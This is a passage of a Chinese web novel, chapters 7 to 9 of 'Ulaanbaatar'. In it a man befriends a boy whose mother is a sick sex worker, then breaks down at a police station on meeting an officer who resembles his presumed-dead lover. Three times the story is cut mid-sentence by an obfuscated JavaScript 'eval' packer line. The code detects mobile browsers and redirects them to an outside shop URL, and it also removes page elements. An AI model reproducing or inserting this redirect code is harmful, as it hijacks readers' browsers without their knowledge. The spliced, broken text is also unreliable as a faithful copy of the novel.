《乌兰巴托》 7. Chapter 07 陈东实没进去,嫌脏。 他没有招.嫖的习惯,刚来乌兰巴托时,他在一家华人餐厅洗碗。一起负责后厨帮工的有个年纪相当的男人,每回发薪水,陈东实都会一分不差寄给老家亲戚,让他们替自己存着,以后回村里盖新房。倒是那人,常拉着陈东实去按摩洗脚,说是按摩洗脚,其实内有乾坤,在男人堆里,风流快活算不上什么大事。 陈东实因此常被工友取笑,说他“那家伙什”不行,可老实有老实的好处,不然肖楠也不会看上他。那时肖楠在化工厂做车间女工,年轻,身材好,性格又明媚,追她的小伙子不少。 陈东实一穷二白,屁也没有,唯这老实巴交、古道热肠的性子对了她的味。结婚三年,陈东实黄赌毒三样,一样不沾,除了不爱肖楠,你很难从他身上挑出什么错。 这当然都是后话了。陈东实不傻,怎么会不明白肖楠和自己结婚是带着目的而来?只是他无所谓,他需要这样一个人,照应自己,陪自己说说话,给自己一个寄托,像童童一样,有时陈东实觉得童童和肖楠是一体的。 在马路墩对面蹲守了个把小时,那男孩终于出来了。陈东实踩灭刚抽完的烟蒂,快步上前,从后勾住那小兔崽子的脖子。 男孩腹背受敌,吓得哇哇乱叫,陈东实捂住他的嘴,将他往停车场拽,那儿没什么人,正方便说话。 陈东实压着嗓说:“你特么又骗我?嗯?是觉着我傻?” 他气的并不是被骗了钱,而是感觉被当了冤大头,没人愿意被当冤大头,在同一个地方摔倒两次。 男孩被压着脖子,看不清陈东实的脸,但从声音能辨出是借他钱的那个人。他掰开陈东实的手,清咳了两声,争辩道:“我没......没骗你......” 陈东实被气笑了,“没骗我?那你拿钱进那种地方?那可是我一天的工钱,你说你是不是又拿去嫖了?!” 男孩别着脸,上气不接下气,两人情绪都有些亢进,都不像是能好好说话的样子。 “骗我说找你堂哥,又说借钱找你妈,结果拿了钱跑这种地方来?你知道这是什么地方吗?你才多大,就出来玩女人?” 陈东实指着马路对面五颜六色的霓虹招牌,声色俱厉,宛如一位严父在教导犯错的孩子,他自己也没想到,在教育孩子这件事上,会如此得心应手。 男孩一脸地不服气:“我才不是去那儿找乐子的,你污蔑我!” 话音刚落,他推了陈东实一把,径直向外头跑。 陈东实三步并作两步将他扯回到身边,拽着他说,“那你给我说清楚,不然就把钱还给我,然后跟我去警察局!” 男孩一听警察局三个字,顿时怕了。他立马服软,“我没骗你......我就是去找我妈来着.....” 说着说着,他不知是急了,还是真怕了,两颗眼珠子里跟灌了汤汁似的,吧嗒吧嗒往下掉眼泪。 陈东实看他这副模样,微微松开钳制他的那只手。只听男孩一边抽泣一边说:“我是拿钱给我妈了......她生病了......” 陈东实心头一涩,却不忍怀疑,这又是他为博同情编织的谎言。这一回他可没那么好糊弄。 陈东实说:“你妈咋了,那发廊跟你妈有啥关系?” “她在那儿上班......”男孩哭作一团,“染了病,不敢去医院,每天都要吃药。” 陈东实烦躁的心变软几分,说:“我怎么知道你不是在骗我,你要信我,带我去见见?” “嗯.......”男孩收起泪,引着陈东实往马路那头走。 陈东实跟在后头,忽然觉得自己甚是可恶。早知如此,刚刚不该对他如此凶蛮,刚刚自己是有些操之过急了。 “小兔崽子,你叫啥名?”陈东实这才想起,自己还不知道他的名字。 “陈斌,我妈叫我斌儿。” “那斌儿,你知道你妈得的啥病吗?” “梅.毒。” 轻飘飘的两个字,从这么从陈斌嘴里轻飘飘说了出来,陈东实脚底一滞,想到,或许在一个十六岁男孩的意识里,还不知道梅.毒意味着什么。 “那你知道你妈做......帮人洗头吗?” 陈东实在他面前说不出那两个字。 “知道。” 陈斌的声音哑哑的,带着一丝揠苗助长后的伪熟感。 陈东实暗自叹了一口气,跟着男孩穿过前厅,进了厢房。 屋子里很黑,只有一盏裸灯泡亮着,连个灯罩也没有。女人躺在床上,下身盖着一床厚褥子,房间里满是香烟和香水交织在一起的刺鼻味道。 “妈.......” 陈斌打开门窗,让屋子亮堂了些。陈东实这才看清楚女人的脸,虽有些皱纹,但难掩清丽,她年轻时一定也不输徐丽。 “这是.......”陈斌看了眼陈东实,不知道该怎么称呼他。 陈东实说:“朋友。我是斌儿的朋友。我来看看您。” “我有什么好看的......”女人淡淡一笑,摸了摸自己的脸,说:“今天我不上钟。” “我不是来......”陈东实顿了一下,很快调整道:“我不是来找你上钟的。” 他想起车上还有些水果和吃的,分一些给他们母子不算什么大事。 “现在你总信了吧?” 趁出来提水果的功夫,陈斌问陈东实,出来前他将那沓钱拿了来,打算交还给陈东实。 陈东实看着他那只干柴黑瘦的小手,二话不说,从钱夹里又抽出几张钞票,连带着原本的那一沓,一并塞回到陈斌怀里。 “我就不进去了,你把这些水果,还有这钱,拿给你妈。” 陈东实看着陈斌,后知后觉想到,他们是本家姓,都姓陈。 他并非滥做好人,只是见不得人受苦。独在异国他乡,相逢即是缘。肖楠从前总埋汰他装大尾巴狼,自己泥菩萨过江,还要为他人做衣裳,就是成天闲的。 “叔能别举报我妈吗?”上车时,陈斌追出来问。 陈东实蹙了蹙眉,“举报啥?” “卖.淫......” 陈斌蚊子叫似的说出了那两个不体面的字眼,陈东实突然想扇自己一大嘴巴子,就不该问这么蠢的问题。 他略亏欠道:“我又没看到她.......我是说,我只知道你妈在这里帮人洗头。” 话音刚落,他一个大老爷们竟有些不好意思起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281105|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你不用替我遮掩,我不是小孩子。”陈斌一脸桀骜,“这不是你该来的地方,你是个好人。” “你个小屁孩,知道什么是好人坏人?”陈东实靠在车窗边,指了下那些水果,“就不怕我在里头下了毒,那些钱,也没准是假.币。不要随意接受陌生人的帮助,你妈没跟你说过吗?” “你不会。”陈斌看着他的眼睛,神色坚定,“陈东实,你不会。” “你怎么知道我名字?” “你车头有名牌,”陈斌扬了扬下巴,目光一移,投向那幅素描相,“我该拿什么报答你?” “你不需要报答我。”陈东实哈哈一笑,果然还是个孩子,说话做事一板一眼,不失天真可爱。 陈斌说:“我见过那个人。” “谁?” “你画上的那个人。”他抬手一指,“在火车站,就搭你车那天。” “你说真的?!”陈东实立马坐直身子,拉开车门跳了下去。 “你真看见他了?”他扶着男孩的肩膀,一个劲地摇,“你发誓你没逗我!” “没有。” “所以你也看见他了,对不对?你也看见他了.......?”陈东实高兴得舌头打了结,“我就说我没看错......我没看错......” “对,是他,一定是他。”陈斌走近半步,看向那画,语气斩钉截铁,“唇上带疤,腿脚带跛,身上戴着一条观音佩,我确信我见过。” “我果然没有看错.......”陈东实几近疯泣,“我果然没看错!” “可是,我除了告诉你我见过他,什么也帮不了你。”这次换陈斌扶住陈东实的双肩,换他做那个大人,“对了,我还记得,他那天出了火车站,朝市公.安局打了个车,说是什么报到,像是新来乌兰巴托,还跟身边人说要去办暂住证。” “这就够了.......够了......” 陈东实强捺住激动,眼眶闪动着莹莹的光,他感觉死去的某片盐碱地重新抽出了枝丫,熬过漫长的冬季,春天终于要来了。 “那个人对你很重要?” 陈斌看着他的眼睛,表情冷静,完全不像是一个十六岁少年该有的姿态。 陈东实弯下身,幸福地颤抖着,他不知道自己是何种心态。 李威龙,威龙......你还是回来了......你果真没有死.......你果真没有离开我! 陈东实含泪大笑,张开双臂,无所顾忌地转着大圈,好似整个天地都是他一人的游乐场。 陈斌看傻了,他不懂,为什么一个人的出现,可以让另一个人高兴成那样。 但他想他以后会明白的,就像他从前不明白,母亲为什么会做这个,但等他来了乌兰巴托,一切都明朗了。 这里是外蒙古,是乌兰巴托,这里有辽阔的草原,成群结队的骏马,和数以万计的蒙古包。这里有黄沙,陡壁和蓝天,也有激.情、犯罪与欲.望。这里有好人,有坏人,这里是地狱,也是人间。 狄更斯说,这是最好的时代,这是最坏的时代。 陈东实却认为,这是李威龙和他的时代。 独属于他们的,绝无仅有的,花样年华。 8. Chapter 08 陈东实推迟了和老钟的饭局。他觉着自己有更重要的事要做。 和陈斌分开后,他回到出租屋,进门第一件事就是去翻垃圾桶。 前几天丢弃的蛋糕盒包装还在,最重要的是那张卡片,陈东实翻了很久,没翻到,最后把整桶垃圾都倒了出来,一一拨开,才找到那张被奶油糊得连字都看不清的小卡片。 “东子,生日快乐。” 这一次陈东实没忍住,看着上面的字,眼泪夺眶而出。 他凑近台灯,反复摩挲着卡片上的字迹,哪怕只是一行冰冷的印刷体,但他觉得,仍带着一种生疏的温度。是李威龙的温度,死去之人的温度。原谅他太久没有拥抱李威龙,已描述不出他胸膛的炙热和滚烫的皮表,那是何等四季如春的存在。 稍平息了一会,陈东实打算打电话给曹建德,告诉他自己在火车站看到的一切,和陈斌说的那些话。 可等他翻出号码,正要拨出去时,他悔了。 以曹建德的脾性,一定又会觉得是自己在胡言乱语、异想天开。在没有十足十确定那个人是李威龙之前,他和大部分人一样,都不会相信自己。 想到这儿,陈东实还是把电话给撂下了。 一夜没合眼,第二天陈东实趁闲时,有意往市公.安局方向开。他把车停在公.安局对面的胡同里,坐在车里,正好能看见大门口进出的每一张面孔。 坐等了一会,陈东实忍耐不住了,下车往局里走。走到一半想起来,总不能毫无由头地进去,警察局不是菜市场,什么闲人都能往里凑,陈东实脑筋一转,搁旁边买了点香蕉苹果,双手拎着,告诉门卫自己来找曹建德。 很顺利地放行了,陈东实一溜烟儿往办公区跑。他没往曹建德办公室去,反折道去了刑侦科。李威龙从前就在那儿办公,里头好多都是熟面孔。 陈东实站在门口,见里头人各个红光满面,正忙着挂彩带,吹气球,像是在筹备什么活动。 他向里探了探脑袋,没见到想见的人,正欲开口,身后传来一声孔武有力的“嘿”。 陈东实扭过头,见曹建德不知什么时候站在了后头。见到陈东实,他高兴得很,没等人走上前就拥了上来,两人相互抱了一抱。 “听门口人说你来看我?”曹建德瞅着他手里两袋水果,喜笑颜开,“来就来呗,这么客气干啥?” 陈东实扯了扯笑,“没啥事儿,就路过,进来看看你跟倩儿。” “那你可赶上时候了,”曹建德领他上二楼办公室,“今儿单位联谊,大家伙忙着布置呢,一会还要切蛋糕,你也留下来吃点。” 陈东实放下水果,看了圈曹建德的办公室,一切如旧,什么都没有变,又什么都变了。 他静静地叹了一口气。 “最近怎么样?一切可还好?” 曹建德泡了茶,还冒着汽儿,陈东实接过时,没想到会这么烫。 他将茶杯放到桌子上,暗搓着手,“就那样儿呗,不死不活的。每天上班下班的,我能翻出啥新花样。” 两兄弟哼哼一笑,曹建德见陈东实没喝茶,又端了盘点心给他。 “吃,倩儿买的,牛肉干,蒙古特产。” “这有啥吃头,”陈东实抹了抹嘴,“这儿最不缺的就是牛羊肉,牛肉都吃吐了。” “也是。”曹建德笑笑,拿起块扔嘴里,卖力咀嚼着。 陈东实挣扎了一小会,终忍不住问,“你们这儿,最近有新来什么人吗?” “新来人?”曹建德的腮帮咕咕作响,“没有啊。问这干啥?” “没啥,随口问问。”陈东实一时语塞,还没想到怎么往下接,门“吱呀”一声开了,李倩钻了进来。 “师父!”小姑娘与生俱来带着一股子伶俐劲,看着陈东实也在,娇唤道,“陈师傅也在?陈叔好!” “叫什么陈叔,没规没矩的,都把人叫老了。”曹建德拿起那盘牛肉干,“吃不吃?” “谢谢师父。” 李倩欢欢喜喜地跟他们坐到了一起。 陈东实门儿清,李威龙走后,身为李威龙徒弟的李倩被调到曹建德麾下,原来带李威龙的曹建德,负责带李倩,师祖一下变师父,李倩的那声“师父”,不算叫错人。 “过几天就是威龙的忌日了。”曹建德突然感慨,众人脸色都往下拉了拉,“没事儿的话,到时候咱们一起去看看他.” 陈东实抿着嘴,心想:人可活得好好的呢,他今天来就为了这事儿,谁也别想拦着他。 “哦对了师父,楼下人说,布置得差不多了,副局说今天不单是联谊,还是欢迎会。” “啥欢迎会?” “也没啥,就隔壁缉毒队的,新来了一批驻外武警。” 李倩没头没脑说着,大眼睛忽眨忽眨,还带着初入社会不久的天真。 “你不是说没来新人吗?”陈东实问曹建德,“你逗我玩呢。” “我哪逗你了,”曹建德拍了拍大腿,“你没听见吗,是缉毒队来人了,我们这儿是经侦科,不是一个系统的。” 话没说完,曹建德反应过来,问:“你这么关心来不来人干啥?不对,你不对劲......” “我能有啥不对劲......”这下轮到陈东实慌了,他一脸强笑:“这不好奇吗?好歹是威龙以前待过的地方,我还不能关心关心了?” “你少来,别扯这些没用的。” 曹建德刑侦多年,对自己的第六感充满自信,眼前人眼神闪避,体态局促,一定有什么事瞒着自己。 “好吧.......”陈东实投降认输,顿了顿,说:“我这次来,的确是为着别的事。” “什么事?” “为着一个人,”陈东实低下头,不敢直视曹建德审讯犯人一样的眼,“一个女人。” “是徐丽吧?”李倩从旁开解,脑子里过了遍那人的轮廓,“师父,这事儿我知道。徐丽住院期间,曾乞求陈东实照料自己。两人接触过一段时间。” 陈东实.......陈东实苦涩一笑,刚刚还叫自己陈叔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281106|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一聊到公事相关,就“陈东实”,这铁面无私的性子,跟李威龙简直一模一样。 “原来如此。”曹建德的目光微缓和几分,“你别怪我,做刑侦久了,职业病。” 陈东实悬着的心幽幽落地。 “她上回被带到警察局里,然后就没音讯了,我今儿来是想问问,她最后怎么处理的?我能看看她不?” “你不早说,人上午刚走,”李倩一扫稚气,有模有样道:“她情节不算重,按规定,拘留十五天,并检讨教育,早上刚出拘留所。对了,临走前她还留了个号码,猜到你可能要找她,让你得空给她回个电话。” 李倩将一张纸条塞给陈东实,曹建德接过话,“老陈,别怪我没提醒你,社会上的三教九流,少来往,徐丽这样的人,成分复杂,别为了个女人,违背自己的初心。” “我心里有数。” 陈东实捏着号码,心绪翻飞,盘算着找啥新借口,再去楼下缉毒科看看。 “没事儿咱切蛋糕去吧!”曹建德切换回一开始热情好客的状态,三人依依往楼下走,刚下楼时,对面楼走来三五个穿着制服的年轻人。 陈东实永远也忘不了这一天—— 惠风和畅,艳阳高照,像是所有故事的新开始。那人从暗处走到明处,唇上结痕的疤,那条走起路来带跛的腿,还有那一只在阳光下闪烁如猫眼的祖母绿玉佩。 他像是老了,脊背不似从前挺拔,肌肤不似从前光滑,和自己一样,那人带着年岁的洗礼和时间的淬炼,仿佛从异世中来。 陈东实大脑一片窒息,千言万语奔腾而过,留下一片广袤的白。他凝在原地,久久难以相信,那人真真切切一步步走来,迈步,张唇,谈笑,昂首,回头,每一个动作都散发着柔润的弧光。 “威龙.......” 陈东实扶住楼梯把手,以防因为过分激动,摔个天昏地暗。曹建德听到低唤,转过头来,跟随他的目光,一同往不远处探去。 “李威龙——!” 陈东实不顾他人目光,越过栏杆,疯跑到那群人面前。 众人停下脚步,正眼看向这个不知所云的男人。当中也包括队伍末尾中的他。 “李威龙.......”陈东实压抑不住的狂喜,他拨开前头人,挤到那人跟前,“我就知道你没死......” “这什么情况?” 旁边一年龄稍长的中年男子扯过陈东实,曹建德跟李倩快步赶上前来。 “抱歉副局,这是.......这是李威龙的朋友......” 李倩忙将陈东实扯到身边,小声道,“副局在呢,别认错人。” “我没认错.......” 陈东实甩开李倩的手,细细盯着那人的五官,没错,是他,一定是他,就算是烧成灰、化成粉,他也认得出眼前人就是李威龙! 一定是李威龙! 众人一时摸不着头脑,只见那人微微颔首,抬起头,浅笑了笑,伸出一只手,“你好,我叫梁泽。” 9. Chapter 09 梁......梁泽.......? 陈东实双腿一软,险些摔倒在地。他不禁痴愣:“你啥时候改名了......?” “先生,您认错人了。”梁泽指了指胸口工牌,“5495,梁泽,我是新公派来这儿的驻外特警,今天是我第一天报到。” “不可能.......”陈东实摇摇头,看向身旁的曹建德,抓着他手问,“老曹你看,他是不是跟威龙长得一模一样?是不是是不是?!” “你又犯病了。”曹建德无奈地泄了口气,看着梁泽的脸说:“他哪儿像了?不过就是神韵有点相似罢了。” “是啊叔,他跟我师父一点儿也不像,你是不是最近太累了,精神太紧张了?” 李倩上前搀扶,结果被陈东实狠狠甩开。他看了圈周围人,最后将目光定格回梁泽身上,诚惶诚恐,“你们都在骗我......明明就很像,明明很像啊!” 陈东实再也把持不住了,他躬上前去,一把牵起梁泽的手,贴到脸颊边。 “你真的不认识我了吗?威龙.......你知不知道我等了你很久?一千两百六十四天,每一天,每一天我都在找你。思念就像沙漏的下半部分,只会越堆越多,你这些年到底藏到了哪里,为什么都没有来找我.......?” 陈东实抖如筛糠,整个人几乎跪在了地上。泪水顺着面庞无声滑落,他不顾其余人异样的目光,吐出的每个字都带着卑微的哭腔。 他不要了,他什么都不要了,什么矜持,什么脸面,什么尊严,他都不要了!他只要李威龙回到他身边,回来吧,迷路的人,远方凶吉未卜,请回到你梦里的故乡,回到这一方岁岁无忧的乌托邦。 眼前的梁泽显然被陈东实的反应给吓坏了,但他没有急着缩回那只被抓住的手,而是从口袋里掏出一方纸巾,递了上去。 陈东实看着那张纸,抿住唇,咽下一口积压许久的寒气,无奈地笑了。 梁泽攀上他的肩,一字一句,格外分明,“我很同情你,但是这位先生,我真的不是你要找的那个人。” “那你怎么会有这条玉佩?”陈东实一把拽住他脖子上的红绳,大声质问,“你嘴上又为什么有条跟他一模一样的疤?就连你们的腿都一样是瘸的,怎么会有这么多巧合出现在同一个人身上?” 梁泽扶住他手腕,目露悲悯,“玉佩是从老家的玉石批发市场带的,这次给同事带了很多,每人都有一块。嘴上的疤是小时候玩啤酒瓶爆的,至于腿.......是以前骑摩托车摔的。” “是啊,这些都有迹可循,您要是不信,可以一一去查。” 李倩上前将两人拉开。 陈东实只字不闻,固执地抱住梁泽的大腿,生怕他又不经意间化作青烟散去。他望向梁泽,像在观望一棵铁树,“你怎么会认不出我呢?你一定是故意的对不对,威龙......你是不是有什么苦衷,或是难言之隐,你告诉我,我理解你,我能理解的......你放心,你告诉我你的苦衷,我不会缠着你的,我不会纠缠你,求求你......求求你看看我......看我一眼吧.......” 陈东实字字哽咽,一下又一下拉着梁泽的裤管。像是错失末班车的放学童,回家的万里长征路,相伴的只有无尽的黄昏和深邃的良夜。 曹建德看他这副走火入魔的模样,不忍道:“陈东实,你冷静点。这里这么多警察,信我老曹一句,我们警察不会骗你的。" “你特么的少放屁!”陈东实骤而大怒,像是被触碰到了逆鳞,“不会骗人?谁说警察不会骗人?姓曹的你扪心自问,四年前你答应我会把威龙完好无损地带回来,你做到了吗?李威龙临走前口口声声说会等我回乌兰巴托,他做到了吗?!” “你们都没做到......都没做到.......”陈东实哭丧着脸,活像个被抛弃的破布娃娃,“我连他最后一面都没见着,连葬礼都没赶上,他就没了.......活生生的一个人,就这么没了,你让我怎么甘心?你让我怎么甘心——?!” 陈东实一把抓起曹建德的衣领,声泪俱下地控诉着。他的心间仿佛一座隐火跌宕的熔岩,猩红色的熔浆透过缝隙,透发出骇人的红光。那是愤怒的颜色,是不甘的颜色,是他这四年苦苦寻找、一意孤行的血泪相缠的写照。 “所以要我说,你们都是骗子,大骗子!你们一个个合起伙来,都是骗子!” 陈东实仰天长叹,又哭又笑,仿佛精神失常一般。别理解,不要理解,不需要理解,他自嘲自解,一厢情愿地策马孤行。 在这片江湖上,他与他的李威龙,如影随风。 “别闹了,你再闹下去,他也不是你要找的李威龙。” 曹建德冷冷撇开陈东实的手,只见陈东实闻声一怵,如遭电击般,从疯癫的迷醉中惊醒。 “不可能,绝对不可能......” 陈东实低下头,看着自己的双手,用力掐了自己一把。 疼痛纤毫毕现,这不是在做梦,这是真的,眼前人是真的,他的模样是真的,眨的眼、风吹动的头发、抽搐的脸部肌肉、递来的纸都是真的,只有说的话是假的......只有这些人说的话是假的。 警察又怎么样?警察就不会撒谎吗?谁知道他们是不是合起伙来骗自己,总之李威龙没有死,眼前人一定是李威龙! 陈东实止住愤懑,双眼猩红,像熬了一场大夜。没等其余人反应过来,便一个猛虎扑身,朝梁泽身上压去。梁泽顿被卷倒在地,任陈东实如野豹般撕扯着他的衣衫和纽扣,现场一片混乱。 “陈东实,你到底在搞什么名堂?!” 曹建德和众人齐手钳住失控的男人,无奈他早已失去理智,双手似钩爪般在梁泽身上扒拉。他扯开身下人领口,见到的是一片完好无损的皮肤,这似乎与他所想象的不同。 王肖财说过.......四刀,他捅了李威龙四刀,其中一刀,就在脖子上!那为什么梁泽身上连个伤口都没有?! 陈东实不甘心,又掀开梁泽的衣下摆,依旧的完好无损,连一点儿疤也没有,这一刻,陈东实彻底崩溃了。 “你疯了.....?!”曹建德将人拽开,气得满脸涨红。他鲜少在人前失态。 陈东实没得到想要的结果,活像个犯错的鹌鹑般缩在一边,双手无处安放。 “你知不知道自己在做什么?”曹建德勃然大怒,“这里是警察局,不是少年宫,别仗着和李威龙的几分旧情,就不知道自己姓什么叫什么了!” “那你派人来抓我啊!”陈东实伸脖对吼,已然无所畏惧,“把我抓起来、关进去,正好让我杀了那挨千刀的王肖财,好让他把威龙还给我!” “还你什么还你?还你个屁!”曹建德丝毫不顾众人在场,声嘶力竭:“你三岁小孩?你杀了王肖财他就能回来?你杀了我们这里所有人他也回不来!” “我不信!”陈东实狠狠抓着自己的头发,四肢乱蹬乱甩,“我不信!你们一个个串通好的来骗我,老子死也不信!” “你们根本不懂,根本不懂他对我来说的意义......我穷得只有他了!我可怜得只有他了!你们没有人能理解我!” 陈东实奋力长嘶,如悲鹤鸣空,似要呕出一滩极尽抖擞的精血。他衣衫凌乱,蓬头泪面,体面于他已无足轻重,此刻的陈东实,觉得自己只是一个被现实一次又一次戏耍的、狼狈的落水狗。 “我找了他四年了.......四年......他就算活着,恐怕也认不出我了.......” 相比空有牵挂的失去,陈东实更恐惧这咫尺之距的陌生。它像是在告诉自己,过往的执念都成云烟,流入无人在意的心壑,勾兑成一道冲天的新痕。 “我问你们........人生能有多少个四年?这四年里,我没有一天不活在痛苦里,这一千多个日夜,我每天晚上都生不如死,就像是被钉死在棺材板里,每天都有人拿刀,一刀一刀凌迟我......割着我的皮,我的肉,每分每秒我都在流血。 我多想那个死了的人是我,我也在害怕,是不是自己做错了什么,威龙才会不肯见我。我宁愿他对我说陈东实我厌倦你了,我烦透你了,你滚吧.......我想我会滚的,滚得干干脆脆.......可是他一句话都没留下,就这么没了.......威龙.......难道你真的要把我一个人留在这里了吗?” 陈东实一点一点,一点一点跪爬到梁泽身边,他仰起头,瞻望着他,泪流满面,“你还记得我吗.......我是陈东实,我是你的陈东实、你的东子。是你说的,陈年老酒的陈,东南西北的东,老实巴交的实........你难道不记得我了吗?” 他折下脖颈,滴滴答答的泪和鼻涕像一场微观的雨,降落在膝前。悲伤的漩风吹进在场每个人心里,这场只有他在苦苦坚持的寻找,被熬煮成一锅陈年的烂粥,早已长毛、生蛆,只有陈东实自己将它视作珍馐,并乐此不疲。 他拉着梁泽的裤腿,涕泗横流,“我们在哈尔滨一起住过的,我们每天都会在天台上喝酒唱歌,你说过你会乖乖等我回乌兰巴托。你还让我给你带好吃的,带哈尔滨的雪........” 陈东实胡乱比划着,翻出空空如也的衣兜裤兜,无助痛哭,“哈尔滨的雪我给你带来了,可是........”他捧着双手的空气,像捧着一颗跳动的心脏,“可是它已经化了........它早就已经化没了.......等我回到这里,他们都说你死了,说你被毒贩给捅死了........有时候我也感觉自己也死了,死在了四年前的冬天,威龙,请你理一理我吧,你的东子快要坚持不下去了.......” 男人跪倒在地,抓肝挠肺,撕心嚎啕,而那位被他错认的故人,就这么无恙地站在一米不到的位置。眉目骄矜,神色寡淡,似逡巡宇宙的神使,只是暂时降临到人间。很快,他就要化作辰光散去,融化在日色倾颓的天与地间。 “对不起.......”陈东实看着他那张无动于衷的脸,话锋一转,开始说起莫名其妙的话,“如果我真的认错了你,我跟你说对不起.......” 他伸手替眼前人捋平发皱的裤脚,将头抵在地上,字字锥心。 “我知道.......他们都以为我是个疯子,是个认不清现实的傻瓜........”抽泣声断断续续,“可我就是不相信他会一字不留地扔下我,我情愿他不留情面地甩了我,至少他还能活.......对不起梁警官.......如果我真的认错了人,我现在就跟你道歉.......” 陈东实重重地磕下头去。再抬起头,眼中情愫并未随言语得以半分克制,半愈发隐忍滚烫。 “你——” 曹建德见他如此惨烈,刚要劝阻,身后人一把拉住。陈东实越过曹建德,抹泪看去,竟是梁泽。 “我不会纠缠你的......你放心,你放一百万个心.......”陈东实捶打着胸脯,强有力的保证着,勉强从地上爬起。他婉拒了所有人的搀扶,像是在刻意证明着什么,证明自己并非是这里最狼狈的一个人。 然而没等他站稳,脚底不知怎的,一阵发软,陈东实整副身子又软塌塌地折了下去,脑袋“咚”地一声,磕在消防栓上,更添几分此地无银的窘迫。 “东叔.......” “别管我.......” 陈东实捂住额头,摆了摆手,任血透过指缝,滴滴渗出。血滴顺着刘海,混夹着汗液,泡发在三伏天里,熏得人眼泪直流。 “没事,我可以的.......你们谁都别管我,你们谁都不要可怜我........谁都不要来扶我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281107|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁泽顺势理了理警服,爬起身来,温温开口,“我不知道你和那个人之间有着什么样的过去,但是,我想他一定对你很重要。所以我不怪你。你还是先稳定下情绪吧。” 他伸出一只手,递到陈东实眼前,“如果你愿意的话,我可以帮你试着找找那个人,只是,你别再这样了,你看你,头上都流血了。” 陈东实渐松开拳头,长舒一口气,忽而不出声了。 ........ 夜里李倩去会议室送饭——没错,陈东实在这儿待了一天。曹建德无奈,只好将他安排在会议室坐着,陈东实就这么水米不进地坐了一天,李倩进门时,中午送去的盒饭一筷子也没动。 她轻轻关上门,将中午的盒饭收进餐盘,再将新鲜的盒饭放到他面前。椅子上的人丝毫不动,宛如一樽泥塑,他的眼里没了光彩,说是行尸走肉,一点也不为过。 “还是不吃?”曹建德透过窗,看着里头的陈东实,再这么拖下去也不是办法,就算他允许陈东实在这里坐上一辈子,可陈东实的身体也吃不消。 李倩试探地问,“不然.......让梁泽来跟他聊聊?” 曹建德想了想,为今之计,好像也没啥别的法子了。 入夜的风吹过甬道,此时早过下班点,警局内只剩下寥寥几位值班干警。陈东实透过窗,看见对面办公楼上仅剩的几盏灯,心如死海般广袤无澜。 “陈先生,”熟悉的声音应声响起,“吃点吧。” 陈东实垂下举烟的手,脸上的肌肉终于松动几分。 “曹队跟我说过了,您和李威龙的故事。”梁泽拉开椅子,坐到陈东实对面,“很感人,陈先生,我很敬佩你。” “你真的不是他......?”陈东实知道,这个问题多此一举得不能再多此一举,可是他还是想问,这一次不是问别人,而是问这个问题里的“他”。 亦或许........不是那个“他”。 梁泽吸了吸鼻子,颔首一笑,他太爱笑了,这一点,和李威龙如出一辙。 “我非常理解您对您朋友的思念,甚至于,我非常羡慕您的朋友,不是所有人都有这样的福气,能有一个人一直惦念着自己。” 陈东实惨然一笑,像是自嘲,也像是一种自我的怜悯。梁泽的回答挑不出错,正如他从一开始走进自己的世界里时,真实得挑不出错,让他连找到一丝破绽的机会都没有,仿佛这些年所受的苦痛与煎熬,都在为今天做准备,前面的一千多个白昼与黑夜,都只是餐前的开胃小菜。 一切痛苦才刚刚降临。 “我记得,威龙常爱看电影,那时我们最常做的事,就是去录像店搜罗碟片,然后回家放DVD。”陈东实夹着烟,掸了掸掉落在裤管上的烟灰:“他最爱的电影叫《美国往事》。看过吗?” 梁泽静静地托着腮,如实地应,“没有,但我很乐意听你讲。” “电影里有一段话,我觉得说得很对。”陈东实吐了口雾,看着梁泽的眼睛,目光温和,“当我对所有事情都厌倦的时候,我就会想起你。想到你在世界的某个地方生活着,存在着,我就愿意忍受一切,你的存在,对我来说很重要。” 你的存在,对我来说很重要。 梁泽眸色微转,脸上的笑意隐约淡去。 “白天的事,对不起。”陈东实将烟掐灭,收起煽情的口吻,主动拿起手旁的一次性筷子。 盒饭还是温的,两荤一素,里面有他最爱吃的番茄炒蛋。 梁泽递给他一杯温开水,“你慢点吃。” “没扯疼你吧?” “什么?” “我是说白天的时候.......” “不至于。”梁泽噗嗤笑了,“哪儿这么娇气,真这么娇气,还做什么警察?” “怎么会想来乌兰巴托?”陈东实埋头刨着饭,“这可不是什么好地方。” “是人都有执念,”梁泽止住笑,一脸真挚地望着对窗,眼底如漱石枕流般闲阔,“陈先生有陈先生的执念,我也有我的执念。” “你也吃点吧?”陈东实将多余的一盒饭推到他面前。 梁泽没有拒绝,接过筷子,和陈东实一起吃了起来。 